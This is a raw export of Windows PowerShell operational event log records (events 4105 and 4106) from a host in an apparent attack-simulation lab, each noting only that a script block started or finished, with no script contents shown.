ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038793
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038791
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038790
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038774
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038773
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038767
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038761
Keywords=None
